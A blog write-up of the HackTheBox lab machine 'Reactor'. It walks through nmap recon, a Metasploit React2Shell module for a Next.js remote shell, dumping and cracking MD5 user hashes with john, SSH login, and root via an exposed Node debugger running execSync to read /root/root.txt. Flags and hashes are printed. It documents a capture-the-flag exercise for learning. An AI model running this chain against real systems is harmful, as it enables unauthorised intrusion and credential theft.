~/ Home Projects Tools Link
Writeups
hackthebox/
  • 2million
  • Facts
  • Checkpoint
  • Enigma
  • Nimbus
  • Reactor
  • tryhackme/
  • Wonderland
  • Highschool
  • Ignite
  • JokerCTF
  • Lazy Admin
  • Lightroom
  • Lookup
  • Love Connect
  • Love note
  • Pyrat
  • Startup
  • Tryheartme
  • Valenfind
  • Valley
  • When hearts collide
  • Reactor - HTB


    Reconnaissance:

    We first run some basic nmap to see what’s responding on the server. We get SSH and an app on port 3000. We add the ip to our /etc/hosts file, in case we need to do some fuzzing later. Ran whatweb and curl -I to try and find the nextJS version, so i can go and find an exploit that will enable me to take a foothoold. Opted to start scanning the content of javascript chunks with a regex for version number.

    nmap -sV -v 10.129.245.214

    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
    3000/tcp open  ppp?
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
    SF-Port3000-TCP:V=7.99%I=7%D=6/10%Time=6A29B37B%P=x86_64-pc-linux-gnu%r(Ge
    SF:tRequest,1518,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
    SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
    SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
    SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
    SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
    SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
    SF:175\r\nDate:\x20Wed,\x2010\x20Jun\x202026\x2018:56:58\x20GMT\r\nConnect
    SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
    SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
    SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
    SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
    SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
    SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
    SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
    SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
    SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
    SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
    SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
    SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
    SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
    SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
    SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Wed,
    SF:\x2010\x20Jun\x202026\x2018:56:59\x20GMT\r\nConnection:\x20close\r\n\r\
    SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
    SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
    SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
    SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
    SF:\nDate:\x20Wed,\x2010\x20Jun\x202026\x2018:56:59\x20GMT\r\nConnection:\
    SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
    SF:nConnection:\x20close\r\n\r\n");
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

    curl -s “http://10.129.245.214:3000/_next/static/chunks/517-d083b552e04dead1.js” | grep -oE ‘“[0-9]+.[0-9]+.[0-9]+”’

    “15.0.3”

    Exploit:

    Looking around i found that this server is vulnerable to React2Shell and msfconsole had a module for it: multi/http/react2shell_unauth_rce_cve_2025_55182. So we launched to module and we are dropped into a shell as the user node, were the application is located (/opt/reactor-app/). In this folder theres a reactor database so we run it with:

    sqlite3 reactor.db

    Next we check our tables.

    .tables

    sensor_logs users

    Now we grab the content of the users table.

    SELECT * FROM USERS; > 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

    Cracking:

    Now that we got some credentials with some hashed password we’re going to run them against a dictionary and attempt to get some credentials to work with. Couldn’t crack the admin password but we got ourselves the credentials for engineer/reactor1.

    echo “39d97110eafe2a9a68639812cd271e8e” > hash && john –wordlist=/usr/share/wordlists/rockyou.txt hash –format=Raw-MD5

    reactor1


    Foothold:

    Now that we have some credentials we can login using SSH. Once inside we read the user.txt sitting in our home directory. After that, we start looking around again, in /opt/ we now find a uptime monitor app and looking inside the folder with ls -la we see that the worker.js file located in /opt/uptime-monitor/ has root privileges.

    ssh engineer@10.129.245.214

    reactor1

    user flag

    5f23d65587e6564c47708b11d24de558

    cat worker.js

    const http = require('http'); 
    
    const fs = require('fs'); 
    
    const TARGET_URL = 'http://127.0.0.1:3000/';
    const CSV_FILE = '/var/log/uptime-monitor.csv';
    const INTERVAL_MS = 30_000;
    const TIMEOUT_MS = 10_000;
    
    function csvEscape(value) {
        const s = String(value ?? '');
        return /[",\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
    }
    
    function record({ status, latency, size, error }) {
        const row = [
            new Date().toISOString(),
            status ?? '',
            latency ?? '',
            size ?? '',
            error ?? '',
        ]
            .map(csvEscape)
            .join(',') + '\n';
    
        fs.appendFileSync(CSV_FILE, row);
    }
    
    function probe() {
        const start = process.hrtime.bigint();
        let bytes = 0;
    
        const req = http.get(TARGET_URL, { timeout: TIMEOUT_MS }, (res) => {
            res.on('data', (chunk) => {
                bytes += chunk.length;
            });
    
            res.on('end', () => {
                const latencyMs = Number(
                    (process.hrtime.bigint() - start) / 1_000_000n
                );
    
                record({
                    status: res.statusCode,
                    latency: latencyMs,
                    size: bytes,
                });
            });
        });
    
        req.on('error', (error) => {
            const latencyMs = Number(
                (process.hrtime.bigint() - start) / 1_000_000n
            );
    
            record({
                latency: latencyMs,
                error: error.code || error.message,
            });
        });
    
        req.on('timeout', () => {
            req.destroy();
    
            record({
                latency: TIMEOUT_MS,
                error: 'TIMEOUT',
            });
        });
    }
    
    setInterval(probe, INTERVAL_MS);
    probe();
    
    console.log('uptime-monitor up, pid=' + process.pid);

    ss -tulnp

    Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
    udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
    udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
    tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
    tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
    tcp LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
    tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
    tcp LISTEN 0 4096 [::]:22 [::]:*
    tcp LISTEN 0 511 :3000 :*


    Root escalation:

    After verifiyng what nexjs puts on port 9229, i find that it is a debugger that has root privileges. We try to call the debugger with node inspect and it works so we use the exec and execSync to cat /root/root.txt and we have our root flag. hacktricks

    noode inspect 127.0.0.1:9229

    debug> We are now using the debugger with root access.

    exec(“process.mainModule.require(‘child_process’).execSync(‘cat /root/root.txt’).toString()”)

    Root flag:

    550e3509d7c236c2c718c9b5865ab58b